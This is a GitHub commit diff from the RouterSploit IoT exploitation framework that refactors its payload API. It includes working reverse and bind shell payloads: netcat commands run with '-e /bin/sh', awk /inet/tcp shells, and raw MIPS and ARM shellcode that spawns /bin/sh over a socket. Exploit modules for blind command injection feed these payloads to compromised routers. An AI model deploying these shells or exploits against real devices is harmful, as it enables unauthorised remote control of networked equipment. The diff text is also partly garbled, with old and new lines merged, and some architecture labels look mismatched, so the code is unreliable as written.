Commit 550bcf44 by Mariusz Kupidura Committed by GitHub

Refactor `payloads` API (#331)



* Refactor payloads.

* Payloads handlers (#325)

* Multiple payloads support

* RHost for bind shell

* Fixing payloads

* Validating parameters

* Architecture parameter

* Fixing payloads

* Fix pep

* Fixing tests

* Fixing ident

* Payload handlers

* Removing old payloads

* Removing default target/port

* Fixing payloads, refactoring

* Fixing pep

* Changing payloads names

* Adding wget and echo options

* Parameter validation

* Removing testing modules

* Refactor payload vol. 2

* Remove `ArchitectureHeader`.

* Put PayloadHandler mixins first in MRO.

* Add `ExploitOptionsAggregator` metaclass to mixins.

* Fix payload completion.

* Remove validate_template from shell()

* Fix tests.

* Fix flake8 violations.

* Adding validation

* Adding support for generic payloads

* Add meaningful error message.
parent b24b0bcc
...@@ -21,4 +21,3 @@ from routersploit import payloads ...@@ -21,4 +21,3 @@ from routersploit import payloads
from routersploit import wordlists from routersploit import wordlists
from routersploit import validators from routersploit import validators
from routersploit.shell import shell from routersploit.shell import shell
from weakref import WeakKeyDictionary import os
from itertools import chain
import threading import threading
import time import time
import os from itertools import chain
from weakref import WeakKeyDictionary
from routersploit.utils import print_status, NonStringIterable from future.builtins import range
from routersploit.utils import print_status, NonStringIterable
GLOBAL_OPTS = {} GLOBAL_OPTS = {}
...@@ -52,11 +53,15 @@ class ExploitOptionsAggregator(type): ...@@ -52,11 +53,15 @@ class ExploitOptionsAggregator(type):
""" """
def __new__(cls, name, bases, attrs): def __new__(cls, name, bases, attrs):
try: try:
base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases)) base_exploit_attributes = chain(
map(lambda x: x.exploit_attributes, bases)
)
except AttributeError: except AttributeError:
attrs['exploit_attributes'] = {} attrs['exploit_attributes'] = {}
else: else:
attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()} attrs['exploit_attributes'] = {
k: v for d in base_exploit_attributes for k, v in d.iteritems()
}
for key, value in attrs.iteritems(): for key, value in attrs.iteritems():
if isinstance(value, Option): if isinstance(value, Option):
...@@ -65,17 +70,17 @@ class ExploitOptionsAggregator(type): ...@@ -65,17 +70,17 @@ class ExploitOptionsAggregator(type):
elif key == "__info__": elif key == "__info__":
attrs["_{}{}".format(name, key)] = value attrs["_{}{}".format(name, key)] = value
del attrs[key] del attrs[key]
elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten # Removing exploit_attribute that was overwritten
del attrs['exploit_attributes'][key] # in the child and is not a Option() instance. # in the child and is not a Option() instance.
return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs) elif key in attrs['exploit_attributes']:
del attrs['exploit_attributes'][key]
return super(ExploitOptionsAggregator, cls).__new__(
cls, name, bases, attrs
)
class Exploit(object):
""" Base class for exploits. """
class BaseExploit(object):
__metaclass__ = ExploitOptionsAggregator __metaclass__ = ExploitOptionsAggregator
# target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
@property @property
def options(self): def options(self):
...@@ -88,17 +93,29 @@ class Exploit(object): ...@@ -88,17 +93,29 @@ class Exploit(object):
""" """
return self.exploit_attributes.keys() return self.exploit_attributes.keys()
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
class Exploit(BaseExploit):
""" Base class for exploits. """
target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
def run(self): def run(self):
raise NotImplementedError("You have to define your own 'run' method.") raise NotImplementedError("You have to define your own 'run' method.")
def check(self): def check(self):
raise NotImplementedError("You have to define your own 'check' method.") raise NotImplementedError(
"You have to define your own 'check' method."
)
def run_threads(self, threads, target, *args, **kwargs): def run_threads(self, threads, target, *args, **kwargs):
workers = [] workers = []
threads_running = threading.Event() threads_running = threading.Event()
threads_running.set() threads_running.set()
for worker_id in xrange(int(threads)): for worker_id in range(int(threads)):
worker = threading.Thread( worker = threading.Thread(
target=target, target=target,
args=chain((threads_running,), args), args=chain((threads_running,), args),
...@@ -118,6 +135,3 @@ class Exploit(object): ...@@ -118,6 +135,3 @@ class Exploit(object):
for worker in workers: for worker in workers:
worker.join() worker.join()
print_status('Elapsed time: ', time.time() - start, 'seconds') print_status('Elapsed time: ', time.time() - start, 'seconds')
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
from __future__ import print_function from __future__ import print_function
import atexit
import itertools
import os import os
import sys import sys
import itertools
import traceback import traceback
import atexit
from collections import Counter from collections import Counter
from routersploit.printer import PrinterThread, printer_queue
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import GLOBAL_OPTS
from routersploit import utils from routersploit import utils
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit, GLOBAL_OPTS
from routersploit.payloads import BasePayload
from routersploit.printer import PrinterThread, printer_queue
if sys.platform == "darwin": if sys.platform == "darwin":
import gnureadline as readline import gnureadline as readline
...@@ -180,12 +182,20 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -180,12 +182,20 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None self.raw_prompt_template = None
self.module_prompt_template = None self.module_prompt_template = None
self.prompt_hostname = 'rsf' self.prompt_hostname = 'rsf'
self.show_sub_commands = ('info', 'options', 'devices', 'all', 'creds', 'exploits', 'scanners') self.show_sub_commands = (
'info', 'options', 'devices', 'all',
'creds', 'exploits', 'scanners'
)
self.global_commands = sorted(['use ', 'exec ', 'help', 'exit', 'show ', 'search ']) self.global_commands = sorted(
self.module_commands = ['run', 'back', 'set ', 'setg ', 'check'] ['use ', 'exec ', 'help', 'exit', 'show ', 'search ']
self.module_commands.extend(self.global_commands) )
self.module_commands.sort() self.module_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ', 'check']
)
self.payload_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ']
)
self.modules = utils.index_modules() self.modules = utils.index_modules()
self.modules_count = Counter() self.modules_count = Counter()
...@@ -201,16 +211,17 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -201,16 +211,17 @@ class RoutersploitInterpreter(BaseInterpreter):
| |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_ | |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_
\_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__| \_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__|
| | | |
Router Exploitation Framework |_| IoT Exploitation Framework |_|
Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz) Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
Codename : Bad Blood Codename : Bad Blood
Version : 2.2.1 Version : 2.2.1
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Payloads: {payloads_count}
""".format(exploits_count=self.modules_count['exploits'], """.format(exploits_count=self.modules_count['exploits'],
scanners_count=self.modules_count['scanners'], scanners_count=self.modules_count['scanners'],
creds_count=self.modules_count['creds']) creds_count=self.modules_count['creds'],
payloads_count=self.modules_count['payloads'])
def __parse_prompt(self): def __parse_prompt(self):
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > " raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
...@@ -221,6 +232,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -221,6 +232,12 @@ class RoutersploitInterpreter(BaseInterpreter):
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033') module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
def _extend_with_global_commands(self, sequence):
""" Extend specific command suggestion with global commands """
sequence.extend(self.global_commands)
sequence.sort()
return sequence
@property @property
def module_metadata(self): def module_metadata(self):
return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__)) return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__))
...@@ -268,6 +285,11 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -268,6 +285,11 @@ class RoutersploitInterpreter(BaseInterpreter):
""" """
if self.current_module and GLOBAL_OPTS: if self.current_module and GLOBAL_OPTS:
return sorted(itertools.chain(self.module_commands, ('unsetg ',))) return sorted(itertools.chain(self.module_commands, ('unsetg ',)))
elif self.current_module and isinstance(self.current_module, Exploit):
return self.module_commands
elif self.current_module and isinstance(self.current_module,
BasePayload):
return self.payload_commands
elif self.current_module: elif self.current_module:
return self.module_commands return self.module_commands
else: else:
...@@ -378,7 +400,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -378,7 +400,7 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required @utils.module_required
def _show_options(self, *args, **kwargs): def _show_options(self, *args, **kwargs):
target_opts = ['target', 'port'] target_opts = ['target', 'port', 'rhost', 'rport', 'lhost', 'lport']
module_opts = [opt for opt in self.current_module.options if opt not in target_opts] module_opts = [opt for opt in self.current_module.options if opt not in target_opts]
headers = ("Name", "Current settings", "Description") headers = ("Name", "Current settings", "Description")
......
...@@ -1295,8 +1295,8 @@ class Exploit(exploits.Exploit): ...@@ -1295,8 +1295,8 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>") print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self, architecture="mipsbe", method="wget", location="/tmp")
else: else:
print_error("Exploit failed. Device seems to be not vulnerable.") print_error("Exploit failed. Device seems to be not vulnerable.")
......
...@@ -38,7 +38,10 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +38,10 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target seems to be vulnerable") print_success("Target seems to be vulnerable")
print_status("This is blind command injection, response is not available") print_status("This is blind command injection, response is not available")
shell(self, architecture="mipsbe", binary="netcat", shell="/bin/sh") shell(self,
architecture="generic",
method="netcat",
payloads=["netcat_bind_tcp", "netcat_reverse_tcp"])
else: else:
print_error("Exploit failed - exploit seems to be not vulnerable") print_error("Exploit failed - exploit seems to be not vulnerable")
......
...@@ -53,8 +53,11 @@ class Exploit(exploits.Exploit): ...@@ -53,8 +53,11 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the " print_status("Please note that only first 256 characters of the "
"output will be displayed or use reverse_tcp") "output will be displayed.")
shell(self, architecture="armle", method="wget", binary="wget", location="/tmp") shell(self,
architecture="armle",
method="wget",
location="/tmp")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
except socket.error as ex: except socket.error as ex:
......
...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit): ...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection, response is not available") print_status("It is blind command injection, response is not available")
shell(self, architecture="mipsle", method="echo", binary="echo", location="/var/tmp/") shell(self, architecture="mipsle", method="echo", location="/var/tmp/")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit): ...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
shell(self, architecture="none", method="awk", binary="awk") shell(self,
architecture="generic",
method="awk",
payloads=["awk_bind_tcp", "awk_reverse_tcp"])
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
......
...@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +38,7 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
shell(self, architecture="mipsle", method="wget", binary="wget", location="/var") shell(self, architecture="mipsle", method="wget", location="/var")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
......
...@@ -57,12 +57,12 @@ class Exploit(exploits.Exploit): ...@@ -57,12 +57,12 @@ class Exploit(exploits.Exploit):
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>") print_status("It is blind command injection - response is not available")
if self.arch == "mipsbe": if self.arch == "mipsbe":
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self, architecture="mipsbe", method="wget", location="/tmp")
elif self.arch == "mipsle": elif self.arch == "mipsle":
shell(self, architecture="mipsle", method="wget", binary="wget", location="/tmp") shell(self, architecture="mipsle", method="wget", location="/tmp")
else: else:
print_error("Target is not vulnerable") print_error("Target is not vulnerable")
......
...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit): ...@@ -43,7 +43,10 @@ class Exploit(exploits.Exploit):
print_status("It is blind command injection so response is not available") print_status("It is blind command injection so response is not available")
# requires testing # requires testing
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
...@@ -50,7 +50,10 @@ class Exploit(exploits.Exploit): ...@@ -50,7 +50,10 @@ class Exploit(exploits.Exploit):
self.info() self.info()
print_status("Invoking command loop") print_status("Invoking command loop")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp") shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
......
from . import armle_bind_tcp
from . import armle_reverse_tcp
from . import mipsbe_bind_tcp
from . import mipsbe_reverse_tcp
from . import mipsle_bind_tcp
from . import mipsle_reverse_tcp
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators Architectures,
BindTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'ARMLE Bind TCP', 'name': 'ARMLE Bind TCP',
'authors': [ 'authors': [
...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload): ...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "armle" architecture = Architectures.ARMLE
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self): def generate(self):
bind_port = self.convert_port(self.port) bind_port = validators.convert_port(self.rport)
return (
self.payload = (
"\x02\x00\xa0\xe3" + "\x02\x00\xa0\xe3" +
"\x01\x10\xa0\xe3" + "\x01\x10\xa0\xe3" +
"\x06\x20\xa0\xe3" + "\x06\x20\xa0\xe3" +
......
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators, Architectures,
ReverseTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'ARMLE Reverse TCP', 'name': 'ARMLE Reverse TCP',
'authors': [ 'authors': [
...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload): ...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "armle" architecture = Architectures.ARMLE
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP Port', validators=validators.integer)
def generate(self): def generate(self):
reverse_ip = self.convert_ip(self.target) reverse_ip = validators.convert_ip(self.lhost)
reverse_port = self.convert_port(self.port) reverse_port = validators.convert_port(self.lport)
return (
self.payload = (
"\x01\x10\x8F\xE2" + "\x01\x10\x8F\xE2" +
"\x11\xFF\x2F\xE1" + "\x11\xFF\x2F\xE1" +
"\x02\x20\x01\x21" + "\x02\x20\x01\x21" +
......
from routersploit import exploits
from routersploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Awk Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
awk_binary = exploits.Option('awk', 'Awk binary')
def generate(self):
return (
self.awk_binary
+ " 'BEGIN{s=\"/inet/tcp/"
+ str(self.rport)
+ "/0/0\";for(;s|&getline c;close(c))"
"while(c|getline)print|&s;close(s)}'"
)
from routersploit import exploits
from routersploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Awk Reverse TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
awk_binary = exploits.Option('awk', 'Awk binary')
def generate(self):
return (
self.awk_binary
+ " 'BEGIN{s=\"/inet/tcp/0/"
+ self.lhost + "/"
+ str(self.lport)
+ "\";for(;s|&getline c;close(c))"
"while(c|getline)print|&s;close(s)};'"
)
from routersploit import exploits
from routersploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Netcat Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
netcat_binary = exploits.Option('/bin/nc', 'Netcat binary')
shell_binary = exploits.Option('/bin/sh', 'Shell')
def generate(self):
return "{} -lvp {} -e {}".format(self.netcat_binary,
self.rport,
self.shell_binary)
from routersploit import exploits
from routersploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
'name': 'Netcat Reverse TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
netcat_binary = exploits.Option('/bin/nc', 'Netcat binary')
shell_binary = exploits.Option('/bin/sh', 'Shell')
def generate(self):
return "{} {} {} -e {}".format(self.netcat_binary,
self.lhost,
self.lport,
self.shell_binary)
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators Architectures,
BindTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'MIPSBE Bind TCP', 'name': 'MIPSBE Bind TCP',
'authors': [ 'authors': [
...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload): ...@@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "mipsbe" architecture = Architectures.MIPSBE
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self): def generate(self):
bind_port = self.convert_port(self.port) bind_port = validators.convert_port(self.rport)
return (
self.payload = (
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
"\x27\xbd\xff\xe0" + # addiu sp,sp,-32 "\x27\xbd\xff\xe0" + # addiu sp,sp,-32
"\x24\x0e\xff\xfd" + # li t6,-3 "\x24\x0e\xff\xfd" + # li t6,-3
......
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators, Architectures,
ReverseTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'MIPSBE Reverse TCP', 'name': 'MIPSBE Reverse TCP',
'authors': [ 'authors': [
...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload): ...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "mipsbe" architecture = Architectures.MIPSBE
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP Port', validators=validators.integer)
def generate(self): def generate(self):
reverse_ip = self.convert_ip(self.target) reverse_ip = validators.convert_ip(self.lhost)
reverse_port = self.convert_port(self.port) reverse_port = validators.convert_port(self.lport)
return (
self.payload = (
"\x28\x04\xff\xff" + # slti a0,zero,-1 "\x28\x04\xff\xff" + # slti a0,zero,-1
"\x24\x02\x0f\xa6" + # li v0,4006 "\x24\x02\x0f\xa6" + # li v0,4006
"\x01\x09\x09\x0c" + # syscall 0x42424 "\x01\x09\x09\x0c" + # syscall 0x42424
......
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'MIPSLE Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
architecture = Architectures.MIPSBE
def generate(self):
bind_port = validators.convert_port(self.lport)
return (
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\xfd\xff\x0e\x24" + # li t6,-3
"\x27\x20\xc0\x01" + # nor a0,t6,zero
"\x27\x28\xc0\x01" + # nor a1,t6,zero
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xef\xff\x0e\x24" + # li t6,-17
"\x27\x30\xc0\x01" + # nor a2,t6,zero
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\x01\x01\x05\x24" + # li a1,257
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xff\xff\x05\x28" + # slti a1,zero,-1
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
"\xfd\xff\x11\x24" + # li s1,-3
"\x27\x88\x20\x02" + # nor s1,s1,zero
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
"\x0c\x01\x01\x01" + # syscall 0x40404
"\xff\xff\x10\x24" + # li s0,-1
"\xff\xff\x31\x22" + # addi s1,s1,-1
"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
"\x0c\x01\x01\x01" # syscall 0x40404
)
from routersploit import ( from routersploit import validators
exploits, from routersploit.payloads import (
payloads, ArchitectureSpecificPayload,
validators, Architectures,
ReverseTCPPayloadMixin,
) )
class Exploit(payloads.Payload): class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = { __info__ = {
'name': 'MIPSLE Reverse TCP', 'name': 'MIPSLE Reverse TCP',
'authors': [ 'authors': [
...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload): ...@@ -17,15 +18,12 @@ class Exploit(payloads.Payload):
], ],
} }
architecture = "mipsle" architecture = Architectures.MIPSBE
target = exploits.Option('', 'Reverse IP', validators=validators.ipv4)
port = exploits.Option(5555, 'Reverse TCP port', validators=validators.integer)
def generate(self): def generate(self):
reverse_ip = self.convert_ip(self.target) reverse_ip = validators.convert_ip(self.lhost)
reverse_port = self.convert_port(self.port) reverse_port = validators.convert_port(self.lport)
return (
self.payload = (
"\xff\xff\x04\x28" + # slti a0,zero,-1 "\xff\xff\x04\x28" + # slti a0,zero,-1
"\xa6\x0f\x02\x24" + # li v0,4006 "\xa6\x0f\x02\x24" + # li v0,4006
"\x0c\x09\x09\x01" + # syscall 0x42424 "\x0c\x09\x09\x01" + # syscall 0x42424
......
from routersploit import (
exploits,
payloads,
validators,
)
class Exploit(payloads.Payload):
__info__ = {
'name': 'MIPSLE Bind TCP',
'authors': [
],
'description': '',
'references': [
],
'devices': [
],
}
architecture = "mipsle"
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
def generate(self):
bind_port = self.convert_port(self.port)
self.payload = (
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
"\xfd\xff\x0e\x24" + # li t6,-3
"\x27\x20\xc0\x01" + # nor a0,t6,zero
"\x27\x28\xc0\x01" + # nor a1,t6,zero
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\x50\x30" + # andi s0,v0,0xffff
"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + "\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xef\xff\x0e\x24" + # li t6,-17
"\x27\x30\xc0\x01" + # nor a2,t6,zero
"\xe0\xff\xa5\x23" + # addi a1,sp,-32
"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\x01\x01\x05\x24" + # li a1,257
"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
"\x0c\x01\x01\x01" + # syscall
"\x25\x20\x10\x02" + # or a0,s0,s0
"\xff\xff\x05\x28" + # slti a1,zero,-1
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
"\x0c\x01\x01\x01" + # syscall
"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
"\xfd\xff\x11\x24" + # li s1,-3
"\x27\x88\x20\x02" + # nor s1,s1,zero
"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
"\x0c\x01\x01\x01" + # syscall 0x40404
"\xff\xff\x10\x24" + # li s0,-1
"\xff\xff\x31\x22" + # addi s1,s1,-1
"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
"\xff\xff\x06\x28" + # slti a2,zero,-1
"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
"\xec\xff\xa4\x27" + # addiu a0,sp,-20
"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
"\x0c\x01\x01\x01" # syscall 0x40404
)
#!/usr/bin/env python from collections import namedtuple
from struct import pack from struct import pack
import exploits
